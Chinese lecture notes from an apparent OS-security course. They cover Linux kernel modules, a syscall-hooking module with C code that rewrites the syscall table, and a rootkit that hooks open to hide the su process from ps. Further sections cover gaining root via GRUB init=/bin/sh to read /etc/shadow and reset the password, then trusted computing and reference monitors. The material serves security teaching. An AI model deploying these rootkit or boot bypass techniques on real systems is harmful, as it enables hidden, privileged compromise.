- 潜在风险:当然,如果处理不当,LKM本身也存在风险。例如,在开发过程中,一个指针错误就可能擦除整个文件系统。
- 运行在内核空间:最重要的特性是LKM运行在内核空间。因此,它们拥有用户程序所没有的访问权限。如果恶意攻击者拥有root权限,就有可能加载一个LKM并在内核空间中运行代码。
一个简单的LKM示例:Hello LKM
上一节我们介绍了LKM的基本概念,本节中我们来看看一个具体的LKM示例。
我将讨论一个名为 hello_lkm.c 的可加载内核模块。任何LKM都必须包含几个强制组件才能成为可加载模块。
- 包含头文件:首先,必须包含模块头文件,以便在编译时解析所有内容。在我们的示例中,还需要内核头文件,但这仅仅是因为我们需要内核
printk函数宏扩展的支持。 - 许可证声明:
MODULE_LICENSE行也是必需的,以避免模块加载时“污染”内核。这并非关键问题,但当内核被“污染”时,意味着带有该LKM的内核配置不受社区支持,你将无法获得内核开发者的任何支持。 - 初始化和退出函数:LKM还需要一个初始化部分和一个退出部分。
init_module函数要么向内核注册一个处理程序,要么用自定义代码替换一个内核函数,然后在许多情况下,通过调用原始内核函数来完成初始化。最后,cleanup_module函数应该撤销init_module所做的任何更改,以便安全地卸载模块。 - 执行时机提醒:需要提醒的是,你并不直接“运行”一个LKM。组成这些函数的代码在模块加载和卸载时执行。
这是一个非常简单的LKM。它包含了刚才提到的所有强制部分。初始化函数只是一个打印语句,由于它在初始化时没有做任何其他事情,因此退出函数也无需清理任何内容,所以我们只添加另一个打印语句。
不过有两点需要注意:
- 打印语句是
printk,它仅对内核可用。它接受一个像printf一样的格式字符串,指定如何将各种数据类型参数渲染成字符串,然后将该字符串打印到内核日志中。 - 要注意的是
KERN_INFO,它是一个用于指定发送到日志的消息类型的关键字。在这里,它只是表示一些信息。共有8个日志级别,我稍后会讨论。目前只需知道,我们只是将信息打印到日志中。如果我们不在printk语句中指定内核级别,它将默认为内核警告。注意语法:内核级别和我们要打印的内容之间没有标点符号。
如果我们加载这个LKM,可以通过在命令行输入 dmesg 在内核日志中看到“Hello kernel”。
编译LKM
一旦准备好编译内核模块,Makefile看起来会是这样的。然而,这不是一个传统的Makefile,因为可加载模块更像内核本身,而不太像用户程序。这意味着内核构建系统处理了部分模块的构建过程。
以下是Makefile的关键部分解析:
obj-m := hello_lkm.o
第一行声明要从目标文件 hello_lkm.o 构建一个模块。虽然在Makefile中没有明确标识,但构建完成后生成的模块将被命名为 hello_lkm.ko。
KDIR := /lib/modules/$(shell uname -r)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
当编译开始时,-C 选项将目录切换到内核源码树,因为构建系统需要找到内核的顶层Makefile。然后,M= 选项使Makefile在尝试构建模块目标之前,移回模块源代码目录。这个目标反过来引用 obj-m 变量中找到的模块,即 hello_lkm.o。
如果你以前没见过或者不常使用它,可能会觉得相当困惑。但如果你有兴趣并想了解更多细节,内核源码树中 Documentation/kbuild 目录下的文件应该会有所帮助。
加载和卸载LKM
以下是加载和卸载LKM的命令,请注意我们加载的是 .ko 内核对象文件,而不是 .o 目标文件。


insmod:insmod被认为是一个相当简单的程序,它不处理依赖关系,也不打印太多有用的错误信息,但它确实能将内核模块从用户空间加载到内核地址空间。modprobe:modprobe被认为是更好的工具,但对于我们的目的来说,insmod已经足够好。insmod尝试通过从内核的导出符号表中解析所有符号,将模块链接到运行中的内核。如果内核没有足够的连续物理内存来容纳模块中的所有内容,它还会重新定位内存。一旦相关部分加载到内存中,内核就会调用模块的init例程。
自定义函数名与日志级别
上一节我们使用了标准的函数名,但实际上你并不局限于使用 init_module 和 cleanup_module 这样的名称作为初始化和清理函数。你可以随意命名它们,只需要提供模块定义来标识哪个函数用于初始化,哪个用于清理。最后两行代码做的就是这件事。
这只是对 printk 的一个简短介绍,printk 是打印到内核日志的内核实用程序。日志级别在 linux/kernel.h 中定义,而哪些日志级别会被打印则由位于 /proc/sys/kernel/printk 的文件 sysctl 配置。
关于日志级别需要注意的是,有些级别除了记录到日志外,还会打印到控制台,而有些则只记录到日志。将日志级别提高到 KERN_ALERT 可以确保它写入控制台。如果你不指定优先级级别,则使用默认的消息日志级别,它只写入内核日志。
以下是日志级别列表及其预期用途。正如我刚才提到的,你必须将日志级别设置为 KERN_ALERT 以确保它显示在控制台上,通知用户。否则,根据你的TTY设置,它可能只会进入日志。

实践:加载、查看与卸载
当 hello_lkm 被加载和初始化时,几乎不会发生什么。控制台上不会显示任何内容。LKM基本上被加载到内核内存中,等待系统调用。但在加载时,初始化例程确实会运行。因此,printk 应该会写入内核日志。这意味着一旦它加载,即使没有其他事情发生,我们也应该在日志中看到“Hello world”,并且可以通过在命令行输入 dmesg 来验证。
如前所述,printk 不与用户空间交互。所以终端上不会显示任何内容。如果你将 printk 语句更改为以内核级别1(KERN_ALERT)发送警报,它将被打印到控制台,但不会打印到终端。实际上,值低于控制台日志级别的消息将被打印到控制台。你可以通过输入 cat /proc/sys/kernel/printk 来确定当前的控制台日志级别,将返回四个整数。第一个整数显示你当前的控制台日志级别,而第二个显示默认日志级别。要更改当前控制台日志级别,你只需在root级别的命令行中 echo 8 > /proc/sys/kernel/printk,这样每个内核消息都会出现在控制台上。另一种更改控制台日志级别的方法是使用带 -n 参数的 dmesg 命令。
消息会进入内核日志,你可以用 dmesg 查看它们,但如果 syslogd 或 klogd 正在运行,它们也可能进入 /var/log/messages。

一旦LKM被加载,就可以使用 lsmod 命令查看它以及任何其他已加载的LKM。另外两个有趣的命令是 modinfo,它从LKM中的模块关键字生成信息(例如,作者、描述、许可证、版本和信息都可以通过模块关键字提供),以及 rmmod,用于移除LKM。
这张截图显示了四件事。首先,我运行了 insmod 命令,然后在另一个终端中运行了 lsmod 命令,显示 hello_lkm 已与其它几个LKM一起加载。接下来,我运行 rmmod 来卸载 hello_lkm。最后,在第三个终端中的 dmesg 命令显示,“Hello kernel”和“Goodbye cruel world”都已被记录到内核日志中。

总结
本节课中我们一起学习了Linux内核模块的基础。LKM是扩展内核功能的强大工具,运行在内核空间,拥有高权限。我们了解了LKM的基本结构、编译方法、加载卸载命令以及内核日志系统 printk 的使用。这是一个简单的“Hello World”示例,为后续更复杂的应用打下了基础。


在下一个子模块中,我们将使用LKM来挂钩一个系统调用,将其指向我们自定义的 sys_call 函数。
059:利用LKM实现钩子技术
在本节课中,我们将学习如何构建一个Linux内核模块(LKM),用于钩住一个自定义的系统调用 pname。我们的最终目标是掌握这种方法,以便能够钩住内核提供的任何系统调用。
概述与原理
上一节我们介绍了如何创建自定义系统调用。本节中,我们来看看如何通过LKM来拦截和修改系统调用的行为。
你之前见过这张图,但我添加了两个部分。首先,我展示了 pname,这是我们拥有的、可以访问所有内核空间和整个机器内存的内核系统调用。其次,我添加了内核日志,所有内核消息都将写入其中,用户可以使用 dmesg 命令读取。请注意,我们可以像调用内核公开的任何其他系统调用一样,从用户空间调用 pname。
扩展这张图,我添加了我们想在这个子模块中构建的恶意LKM。它将在内核空间中运行,并钩住所有从用户空间对 pname 的调用。同样,它将在内核空间中运行。因此,我们需要root权限来安装这个LKM。

它的工作原理如下。首先,LKM被加载,它只是在那里等待对 pname 的调用。当从用户空间调用 pname 时,LKM会拦截该调用并执行一些恶意活动。在我们的例子中,它只是简单地写入内核日志以演示钩子功能。然后,LKM按照用户空间最初的请求,调用原始的 pname 系统调用。因此,基本概念是LKM成为用户空间和系统调用之间的中间人。

构建钩子LKM
那么,我们如何创建一个可以拦截系统调用的LKM呢?以下是关键步骤。
第一步是在LKM中保存 pname 的原始地址,以便在钩子执行完毕后,我们可以调用原始的 pname 并将预期的响应返回给用户。我们使用一个变量 custom_sys_call 来保存我们创建的系统调用的名称。然后,我们修改系统调用表,使其指向我们LKM内部的钩子函数,而不是原始的系统调用。这意味着当用户调用 pname 时,调用将被重定向到钩子函数。当钩子函数完成其恶意活动后,它知道从哪里获取原始系统调用的地址,因为它存储在 custom_sys_call 中。一旦调用序列被修改,LKM就等待用户调用 pname。
首先,我们需要获取系统调用表的地址,以便LKM可以修改对 pname 的调用。为了简单起见,我们将把这个地址硬编码到LKM中。但通过一些增强,LKM可以被修改为动态确定地址。在我的32位Debian系统中,这个地址是十六进制的 0x126A280。你的地址会不同。
LKM代码解析
以下是 hook.c LKM代码的第一部分,它将拦截我们的系统调用 pname。
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/version.h>
这是LKM的第二部分。它包含了模块信息。有一个注释标识了硬编码的系统调用表地址,但目前该变量仅声明为一个未初始化的指针。我们还为钩子执行完毕后想要调用的、用户请求的系统调用标识了原型。
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ethical Hacker");
MODULE_DESCRIPTION("A simple syscall hooking LKM");
MODULE_VERSION("0.1");
static unsigned long *sys_call_table; // 系统调用表地址
static asmlinkage long (*custom_sys_call)(const char __user *proc_name); // 原始系统调用函数指针
第三段代码是对恶意软件函数的调用。出于我们的目的,它只是打印到内核日志,以便我们可以验证对 pname 的调用被钩住了,但该程序本可以执行任何它想要的代码。钩子执行后,LKM进行原始调用。因此用户对钩子一无所知。
asmlinkage long hook_pname(const char __user *proc_name) {
printk(KERN_INFO "Hook: pname called for process: %s\n", proc_name);
// 执行恶意活动后,调用原始系统调用
return custom_sys_call(proc_name);
}
LKM的这一部分有点棘手,因为我们要修改内核系统调用表的权限。你需要了解页表条目结构的细节才能弄清楚如何操作。好吧,你们中不太可能有人是系统程序员。根据代码,很容易看出函数 make_rw 接收系统调用表的地址,并将权限更改为读写。
static void make_rw(void *addr) {
unsigned int level;
pte_t *pte = lookup_address((u64)addr, &level);
if (pte->pte & ~_PAGE_RW) {
pte->pte |= _PAGE_RW;
}
}
static void make_ro(void *addr) {
unsigned int level;
pte_t *pte = lookup_address((u64)addr, &level);
pte->pte &= ~_PAGE_RW;
}
这段代码只是反转了上一张幻灯片上的代码,并在我们完成后将系统调用表返回到写保护状态。
LKM的初始化与卸载
初始化代码在LKM初始化时打印到日志,然后设置硬编码的系统调用表地址以匹配我们从系统映射中确定的十六进制值。接下来,我们将 pname 的调用表信息保存在 custom_sys_call 中。最后,我们禁用页面保护,并替换系统调用表中 pname 的条目,允许我们执行此LKM中定义的钩子原型。我们实际上是用LKM中定义的恶意系统调用替换了构建内核时定义的自定义系统调用。一旦我们做出这个更改,LKM就等待 pname 调用进来。当调用发生时,由于调用表的更改,调用被拦截,用户空间运行 pname 的请求被转移到钩子恶意软件部分的末尾。钩子函数做的第一件事是向内核日志打印一条消息,这告诉我们钩子函数运行了。钩子函数打印到内核日志后,它调用 pname,从而将系统调用的请求输出返回给用户。
这是退出代码。因此,它在LKM被卸载时运行。首先,它向内核日志打印一条通知,表明它已被卸载。然后,它将系统调用表恢复到其原始的写保护状态。
static int __init hook_init(void) {
printk(KERN_INFO "Hook LKM loaded\n");
sys_call_table = (unsigned long *)0x126A280; // 你的系统调用表地址
custom_sys_call = (void *)sys_call_table[__NR_pname]; // 保存原始调用
make_rw(sys_call_table);
sys_call_table[__NR_pname] = (unsigned long)hook_pname; // 替换为钩子
make_ro(sys_call_table);
return 0;
}
static void __exit hook_exit(void) {
printk(KERN_INFO "Hook LKM unloaded\n");
make_rw(sys_call_table);
sys_call_table[__NR_pname] = (unsigned long)custom_sys_call; // 恢复原始调用
make_ro(sys_call_table);
}
module_init(hook_init);
module_exit(hook_exit);
代码可能看起来很复杂,但你不必理解每一个细节。另一方面,优秀的道德黑客必须能够卷起袖子,在必要时深入挖掘以理解细节。如果有必要,值得将代码复习几遍,因为你找不到比这更简单的内核钩子代码示例了。
编译与测试
这是钩子的Makefile。它与Hello LKM的Makefile完全相同,所以我就不再赘述了。
obj-m += hook.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
下一步是测试它是否有效。首先,使用前面的Makefile编译LKM,并将LKM加载到内核中。dmesg 会告诉你它是否加载成功。现在,钩子LKM已加载并等待对 pname 的调用。让我们进行一个调用,运行 test_pname 并输入一个进程名,你应该在终端中取回PID。但在加载之后,dmesg 应该显示钩子在调用 pname 之前拦截了调用并写入了内核日志。


这是一个成功的LKM钩子的截图。它没有显示编译步骤,但显示了在左上角终端中加载LKM。右上角的终端显示内核识别到内存中的LKM。左边的第二个终端显示了 test_pname 的执行以及预期结果打印到屏幕。左下角显示LKM被卸载,右下角是查看内核日志,确认LKM已加载、钩住了系统调用 pname 并成功卸载。内核日志中的 TP1 只是我在调试期间添加的一个测试点。

扩展到标准系统调用
关于如何构建LKM来钩住系统调用的讨论到此结束。在本例中,我们修改了添加到内核中的自定义系统调用。现在,我们希望使用相同的技术来钩住一个标准系统调用。具体来说,我们将钩住进程列表调用 ps,以修改返回给用户的运行进程列表。


总结

本节课中,我们一起学习了如何利用Linux内核模块(LKM)实现系统调用钩子技术。我们从钩住自定义系统调用 pname 开始,理解了其作为中间人(MITM)的基本原理。我们详细分析了钩子LKM的代码结构,包括如何定位系统调用表、保存原始调用地址、修改调用表条目以及执行恶意代码后恢复原始调用。最后,我们探讨了将这种技术应用于标准系统调用(如 ps)的可能性。掌握这项技术是理解更高级内核级攻击和防御的基础。
060:真实Rootkit案例研究 🔍
在本节课中,我们将学习如何修改之前子模块中的钩子程序,以拦截用户对进程列表的请求,并返回一个经过轻微修改的列表,从而使目标进程(例如 su)看起来像是另一个普通的 bash 进程。为了简化,我们将把相关的进程ID硬编码到LKM中,但通过一些系统级编程,也可以实现动态确定。
概述

上一节我们介绍了系统调用钩子的基本概念。本节中,我们将看看如何应用这一技术来隐藏特定进程。核心思路是:使用一个钩子LKM来拦截对 open 系统调用的请求。当 ps 命令需要打开内核维护的进程文件以获取运行进程信息时,我们的LKM会将被隐藏进程的路径名替换为用于隐藏它的进程的路径名,从而返回错误的信息。
修改钩子程序

以下是使钩子程序实现进程隐藏功能所需进行的修改。这项任务的复杂程度取决于你对前一个子模块的理解。如果之前的内容不够清晰,建议你返回复习。如果不理解钩子的原理,将很难理解我们为这个新LKM所做的修改。
首先,我们需要修改 open 命令用于收集进程信息的路径名。其次,需要修改LKM的初始化和退出例程,以更改系统调用表中不同的系统调用(open 而非 pname)。因此,这个LKM与我们之前讨论的并没有本质上的不同。
核心函数定义
以下是LKM中定义的新内核级函数原型。

asmlinkage int (*original_open)(const char __user *filename, int flags, umode_t mode);
asmlinkage int hijack_open(const char __user *filename, int flags, umode_t mode);
original_open:保存原始open调用的信息。钩子组件在执行完进程隐藏例程后,需要返回到这个调用。hijack_open:这是我们的钩子函数。它会向内核日志打印信息以验证钩子生效,并执行恶意操作:找到并替换要隐藏进程的路径名。

hijack_open 函数基本上取代了之前简单的钩子。它仍然会打印内核日志以供验证,但核心功能是:在传递给 open 的路径名中,找到要隐藏的进程路径,并将其替换为我们想用来隐藏它的进程(例如 bash)的路径。这样,open 返回的将是错误进程的信息。
LKM初始化与退出例程

这是LKM的初始化例程,重要的修改已用红色高亮标出。
static int __init lkm_init(void) {
// 1. 保存原始open系统调用的地址
original_open = (void *)sys_call_table[__NR_open];
// 2. 将系统调用表中的open项重定向到我们的hijack_open函数
sys_call_table[__NR_open] = (unsigned long *)hijack_open;
printk(KERN_INFO "LKM: open syscall hijacked.\n");
return 0;
}

第一个关键修改是保存原始 open 例程的调用地址,以便后续使用。第二个修改是将系统调用表中的 open 系统调用重定向到LKM中定义的 hijack_open 函数。其技术与重定向 pname 时完全相同,只是系统调用表中的行不同。

退出例程则负责恢复原始的系统调用。
static void __exit lkm_exit(void) {
// 恢复原始的open系统调用
sys_call_table[__NR_open] = (unsigned long *)original_open;
printk(KERN_INFO "LKM: open syscall restored. Module unloaded.\n");
}
它恢复原始的 open 系统调用,并将系统调用表恢复为只读(如果之前修改了权限),同时向内核日志打印一条消息,指示卸载过程顺利。
运行结果与总结
许多实现细节留给了读者,但核心原理已阐明。成功劫持进程列表信息的结果如下图所示:在加载恶意LKM之前,ps 命令会显示 bash 和 su 的进程ID。在LKM中,我们将这些PID硬编码以隐藏 su 进程。修改路径名后,传递给 open 命令的是 bash 的PID而非 su 的PID,因此返回给用户的是错误信息。
加载恶意LKM后再次运行 ps,su 进程消失了,取而代之的是另一个 bash 进程。由于我们的字符串操作不够巧妙,同一个PID被列出了两次,这会引起用户怀疑,但我们可以通过调整来呈现不同的PID。对我们而言,重要的不是PID的具体值,而是我们能够通过LKM钩住 open 系统调用来修改返回给用户的 ps 结果。
本节课中,我们一起学习并开发了一个能够修改运行进程列表的Rootkit。虽然呈现给用户的结果可以进一步优化,但关于通过钩住系统调用来进行修改的基本思想应该已经清晰。LKM和动态链接库(DLL)可以表现出恶意行为,而我们甚至可能无法察觉它们的存在。

接下来,我将讨论缓冲区溢出和面向返回的编程(ROP),这实际上是两到三节课的内容压缩而成,因此涉及的时间和复杂度可能比往常更高。如果你选择进行相关实验,请尽早开始。
061:操作系统安全概述与引导程序漏洞

在本节课中,我们将要学习操作系统安全的基础知识。本模块将首先从高层次介绍一些著名的操作系统漏洞,然后通过动手实践来探索与setuid相关的问题。后续模块将重点讨论缓冲区溢出、缓解措施以及漏洞利用的扩展,并探讨一些当前的安全方法。
引导程序漏洞演示
上一节我们介绍了课程概述,本节中我们来看看一个具体的操作系统安全概念:引导程序漏洞。这个演示并非利用一个传统意义上的“漏洞”,而是利用了所有操作系统以某种形式内置的功能。如果你能物理接触到计算机,这个功能就可能被利用。
对于Linux系统,当计算机启动时,它会运行一个名为init的程序,通常位于/bin或/sbin目录下。这个程序负责系统启动并创建可用的计算环境。然而,我们可以改变这一点,指定一个不同于init的程序来启动。例如,指定init=/bin/bash会告诉内核运行bash而不是init。同时,如果我们将文件系统的权限从只读(ro)改为读写(rw),我们就是在强制内核以读写模式而非只读模式启动文件系统。传统上,内核以只读模式启动磁盘,稍后一个进程会在切换到读写模式前检查磁盘的完整性。
当你用/bin/bash初始化时,通常由init启动的服务不会运行,因为shell不会启动任何这些操作系统服务。在某些情况下,基于/etc/fstab条目的正常文件系统挂载会被绕过,/etc/inittab中列出的任何选项(包括系统的默认运行级别、要启动的进程以及系统进入新运行级别时要采取的操作)也不会被处理。如果inittab未被处理,单用户模式可能就不安全。
运行级别决定了进入该级别时运行哪些程序。以下是Linux系统中的六个运行级别:
- 0:停机
- 1:单用户模式
- 2:多用户模式(无网络服务)
- 3:完全多用户模式(有网络服务)
- 4:用户自定义
- 5:图形界面模式
- 6:重启
级别0、1、2和6是相当标准的,但级别3、4和5可能因系统而异。标识哪些程序将运行的文件位于/etc目录下。对于每个运行级别,都有一个名为rcX.d的文件,其中X是运行级别。因此,要查看正常启动到运行级别2时执行哪些程序,可以查看/etc/rc2.d。
这张幻灯片展示了使用未受保护的GRUB引导加载程序获取root shell的步骤。如前所述,由于/bin/init没有运行,你将处于运行级别1,并非所有服务都已启动。在某些情况下,可能只挂载了根文件系统,这意味着你可能需要根据目标挂载文件系统的其他部分。例如,你可能需要挂载/proc。如果你没有更改权限并以只读方式挂载文件系统,你还需要通过键入mount -o remount,rw /使根目录可编辑。

如果你尝试先执行umount,再执行mount -rw /,你会在第一个命令下把自己踢出去。如果你在互联网上阅读关于此功能的信息,你会发现许多参考资料提到文件系统是以ro(只读)模式挂载的。但正如你在下一屏将看到的,在某些Linux版本中这是可编辑的。如果你在任何虚拟机中安装了GRUB或LILO,你应该尝试一下。一旦启动,你可以在命令行找到大量关于已挂载文件系统的信息。

这是GRUB通常呈现启动行的方式。注意你的文件系统以只读(ro)模式启动,并且打印到标准输出的信息很少,由quiet命令表示。如果不使用quiet,将打印更多信息。编辑启动脚本的说明在屏幕底部。在我的实例中,按E键进入编辑模式,我可以编辑脚本。在这个屏幕中,我已将ro改为rw,删除了quiet,并添加了init=/bin/sh作为初始化程序。你也可以将init设置为/bin/bash。但我已将bash符号链接到sh,所以效果是一样的。按Ctrl+X继续启动过程,并将我置于具有root权限的命令行单用户模式中。




此图像显示了一个读取shadow文件的请求,以证明我们确实处于root模式。

在这里你可以看到,我已经用cat命令查看了shadow文件,因为我拥有root权限。

通常,/bin/init根据需要执行脚本,并且随着运行级别的变化,这些脚本会设置所有非操作系统服务以创建用户环境。我们强制运行/bin/sh而不是init,这使我们处于运行级别1,但rw条目将文件系统挂载为可读写。现在,我们只需键入passwd就可以将root密码更改为我们喜欢的任何内容。当我们重启并以root身份登录时,我们就拥有了正常的root访问权限。对于我的Debian实例,/proc也已挂载。但如果你的实例中没有挂载,你可能需要自己用mount /proc命令挂载它。
理解 /proc 目录
什么是/proc目录,为什么它很重要?/proc非常特殊,因为它也是一个虚拟文件系统。它有时被称为进程信息伪文件系统,根目录在/proc。它不包含真实的文件,而是包含内核的系统运行时信息,可以说是内核的控制和信息中心。许多系统实用程序只是对此目录中文件的调用。因为proc文件系统仅作为内存中内核数据结构的反映而存在,它显示/proc内的大多数文件和目录大小为0字节。
以下是确定已挂载文件系统的选项总结,但它们的行为略有不同,提供的信息也不同:
/etc/fstab:由init读取并由系统管理员维护。由于在我们的引导加载程序示例中init没有运行,此文件的内容不太有用。但是,如果系统正常启动,它提供了系统启动时应已挂载的所有文件系统的列表。/etc/mtab:显示实际挂载了哪些文件,并由mount和umount命令更新。/proc/mounts:也列出了所有已挂载的文件系统,但它由内核控制,应该是真正的权威来源。你应该期望mtab和mounts一致,但它们很容易与fstab不同。
单用户模式的重要性与风险
这里有一个例子说明为什么单用户模式会很有帮助。我当时正在将/bin/sh的符号链接从bash切换到zsh(我们将在后续关于setuid的子模块中讨论)。但当我这样做时,我把自己弄糟了,我本想删除符号链接sh,却误删了su。我很幸运,我的磁盘主目录中有一个su的副本。但我没有更改所有权或将其移动到/bin的权限。单用户模式给了我root权限,从而解决了问题。因此,没有密码的引导加载程序可以提供一个攻击向量,前提是你能物理接触到机器。
每个操作系统都有类似于单用户模式的东西,但行为和配置略有不同。
- 在macOS上,单用户模式允许你更改密码,还让你可以访问磁盘修复工具和用于离线破解的密码哈希。这意味着你不必采取任何可能提醒管理员的行动,比如在macOS中更改root密码。这个单用户模式功能可以用密码保护。
- 你已经看到了如何可能滥用Linux单用户模式的例子,但你可以通过设置引导加载程序密码来防范。一旦设置了密码,如果不输入密码,就无法编辑任何GRUB条目或从GRUB命令行向内核传递参数。
- 对于我正在运行的Debian Sarge,引导加载程序密码解决方案使用MD5加密来保证机密性,并需要编辑
/boot/grub/menu.lst文件。希望更新版本的Debian使用更强的哈希函数。 - 在Windows中,使用恢复控制台的管理员对所有卷(引导卷除外)具有只读访问权限。即使在引导卷上,他也只能对根目录和Windows系统目录进行写访问。GRUB配置位于
/boot/grub/menu.lst中,并且已经包含了如何设置密码的文档。
总结

本节课中我们一起学习了操作系统安全的一个重要方面:单用户模式的安全。这个子模块展示了保护对单用户模式访问的重要性,因为它包含了root级别的权限。该功能很重要,因为它为多用户环境提供了一种维护模式,其中一些管理任务需要访问共享资源。由于网络服务不运行,此模式消除了任何可能的远程网络访问,至少暂时提供了一些增强的安全性。然而,通过物理访问,你可以使用此机制来恢复或更改root密码。有时我们需要单用户功能,但与此同时,它也引入了安全漏洞。在下一个子模块中,我们将讨论操作系统中的信任问题。
062:系统可信机制 🔐
在本节中,我们将探讨操作系统中的“信任”概念。我们将了解操作系统如何管理资源和执行安全策略,并深入讨论“可信计算”这一现代安全框架,它通过硬件和软件的结合来确保系统从启动到运行的完整性。

上一节我们介绍了操作系统的基本保护机制,本节中我们来看看“可信计算”的具体实现。
可信计算基
“可信计算基”是一个经典概念,它指的是计算机系统内所有保护机制的总和,包括硬件、固件和软件。这些机制共同负责执行安全策略。

TCB = 硬件 + 固件 + 软件
TCB必须能够保护自身,其边界内的所有代码都必须是可信的。一旦TCB内的任何代码被破坏,整个TCB的可信度就会受损。

可信平台模块
现代的可信计算理念基于“可信计算组”联盟提出的规范,其核心是可信平台模块。TPM是一个基于硬件的信任根,旨在确保计算机安全启动并在启动后保持安全状态。
TPM规范定义了三个基本服务,接下来我们将逐一讨论。
1. 认证启动服务

该服务通过对代码库进行数字签名,确保所有代码都来自拥有有效证书的合法软件供应商。它还会记录任何试图篡改配置或替换加载模块的行为。
信任边界只有在新增代码也拥有经过验证的签名时才能扩展。这里的关键是,我们必须能够信任代码签名本身,才能信任整个认证启动服务。
2. 认证服务
当您信任一段代码时,这种信任可以传递给他人。认证服务提供远程证明,目标是确保系统上只运行经过授权的代码。

其工作原理是,由硬件生成一个证书,标识当前正在运行的软件,并将该信息安全地存储在TPM中。计算机可以向远程方出示此证书,以证明当前正在执行的是未经篡改的软件。
例如,在数字版权管理中,音乐播放软件只有在能证明自己运行的是安全副本时,才被允许向音频子系统发送歌曲。
3. 受保护存储与内存隔离
以下是TPM提供的另外两项关键功能:
- 密封存储:存储的数据只能由特定的软硬件组合打开。例如,一首歌曲会被一个与TPM绑定的密钥安全加密,只有授权计算机上未经修改的音乐播放器才能解密和播放它。
- 内存隔离:该技术扩展了常见的内存保护方法,为内存中的敏感区域(如存储加密密钥的位置)提供完全隔离。即使是操作系统也无法完全访问这些被“隔离”的内存。

高保障平台
高保障平台是美国国家安全局发起的一项倡议,旨在提供可信计算的商业实例。它整合了多项技术:
- TPM:作为基于硬件的信任根。
- 设备度量:在启动时和运行时度量和验证每个软硬件组件的身份与完整性。
- 受保护的长期存储:基于硬件的全盘加密。
- 进程与域隔离:基于硬件和软件的安全虚拟化技术,将用户进程与监管进程分离,并确保不同安全域之间没有意外的交互。
本节课中,我们一起学习了操作系统如何通过可信计算基来管理资源和执行安全策略。我们深入探讨了现代的可信计算框架,特别是可信平台模块提供的认证启动、远程证明、密封存储和内存隔离等核心服务。这些机制共同作用,旨在确保系统从硬件启动到软件运行的整个链条都是可信且未被篡改的。


在下一节中,我们将讨论一些旨在强化操作系统安全性的设计原则,无论是对于普通系统还是更安全的可信系统。
063:操作系统设计原理 🔐
在本节课中,我们将学习操作系统(OS)的设计原理。首先,我们会探讨普通操作系统的核心设计原则,然后在此基础上,了解可信操作系统(Trusted OS)所附加的额外安全要求。我们将定义“引用监视器”,简要讨论用于保护内核的系统模式(或环),以及一些内存保护的要求。
引用监视器:安全系统的基石
上一节我们介绍了课程概述,本节中我们来看看操作系统安全设计的核心概念——引用监视器。Saltzer和Schroeder在1975年对安全设计原则进行了开创性研究,其原则至今仍然适用。引用监视器的概念便是这些基础原则之一。
实际上,引用监视器的概念最早由James Anderson于1972年在美国空军的计算机安全技术规划研究中提出。在该论文中,他将引用监视器定义为一种访问控制机制,它必须满足以下三个要求:
- 防篡改:
tamper-proof - 始终被调用且完整:
always invoked and complete - 足够小以进行验证:
small enough to be validated
防篡改要求内核本身是防篡改的。如果内核可以被篡改,攻击者就能修改系统的执行机制,从而绕过其安全防护。
始终被调用且完整要求引用监视器必须对所有安全敏感操作提供完整的仲裁。如果某些操作未被仲裁,则安全要求可能无法执行。例如,秘密信息可能被泄露,或者可信数据可能被不可信进程修改。当然,仲裁必须被持续调用,否则在其不活动时可能被绕过。

足够小以进行验证要求引用监视器必须足够小,以便验证其是否正确执行了系统的安全目标。否则,实现或安全策略中的错误可能导致设计漏洞。
Saltzer和Schroeder的研究包含了其中两个属性(完整性和可验证性),但未明确包含防篡改性,尽管他们花了大量时间讨论防止篡改的访问控制列表。
引用监视器的概念定义了安全操作系统中访问控制的必要且充分的条件。然而,随着网络基础设施的发展,满足这些属性变得越来越困难。随着插槽数量和功能的增长,复杂性已成为引用监视器的敌人。我们计算环境的分布式特性,包括向云计算的过渡,也可能使完整性属性更难满足,因为访问点通常遍布整个企业,难以确保每次访问都被检查。数据包在计算基础设施中传输时,会经过包过滤器、IDS、IPS和防病毒系统的评估,甚至可能需要通过数字签名验证机制,这些都是完整性的敌人。

操作系统通用保护机制

理解了引用监视器后,我们来看看任何操作系统(不一定是可信操作系统)中通常存在的保护机制列表。其中一些不一定是专门的安全机制,但它们共同作用,确保操作系统按预期运行,不会产生拒绝服务条件。
以下是典型的操作系统保护机制:
- 认证:所有操作系统都需要认证机制来识别用户并控制访问。
- 访问控制:后续子模块将详细讨论访问控制,包括访问控制列表(ACL)。虚拟内存的访问控制更为关键,因为它是共享资源。
- 强制共享:确保所有进程都能访问资源,目标是保证数据完整性和一致性。
- 对象分配:包括并发性和同步性。要理解并发性,可以想想线程。这是指多个计算同时执行并可能相互交互的系统特性。同步性是指协调同时运行的线程或进程,以正确的运行时顺序完成任务,避免意外的竞态条件。
- 公平服务:确保没有CPU请求或I/O请求被忽略,从而造成饥饿情况。
- 进程间通信(IPC)控制:进程有时需要与其他进程通信或同步访问共享资源。发生这种情况时,操作系统需要控制IPC信息流。这种仲裁通常通过访问控制机制来管理。
- 操作系统保护数据:包括审计数据、密码文件等项目,所有这些都必须受到保护。
可信操作系统的额外要求
上一节我们介绍了通用操作系统的保护机制,本节中我们聚焦于可信操作系统,看看其设计中必须内置的额外安全要求。
如果我们将焦点缩小到可信操作系统,会看到设计中必须内置的额外安全要求:

- 细粒度访问控制:所有对象都与更细粒度的对象访问控制机制紧密耦合,这与一旦用户访问操作系统就授予其对大多数对象访问权限的方法相反。
- 强制访问控制(MAC):下一个子模块将更详细地讨论MAC和自主访问控制(DAC)。关键区别在于,自主访问由对象所有者管理,而强制访问基于分配给对象的安全级别和安全分类。
- 对象重用保护:这最容易从内存角度理解。当一个用户访问内存中的一个对象后,下一个用户绝不能访问第一个用户的任何内容或元数据。所有内容都必须被清除。
- 完全引用仲裁:意味着每一笔交易都必须由引用监视器处理。
- 可信路径:确保用户正在与操作系统通信,并且中间人攻击向量已被消除。
- 问责与审计:要求可信系统对所有已采取的安全相关操作保存审计日志,但审计日志可能不审计登录过程,因为递归会导致日志快速增长。
系统模式(环)与内存保护
了解了可信系统的特殊要求后,我们回到更基础的设计层面:系统运行模式和内存保护。
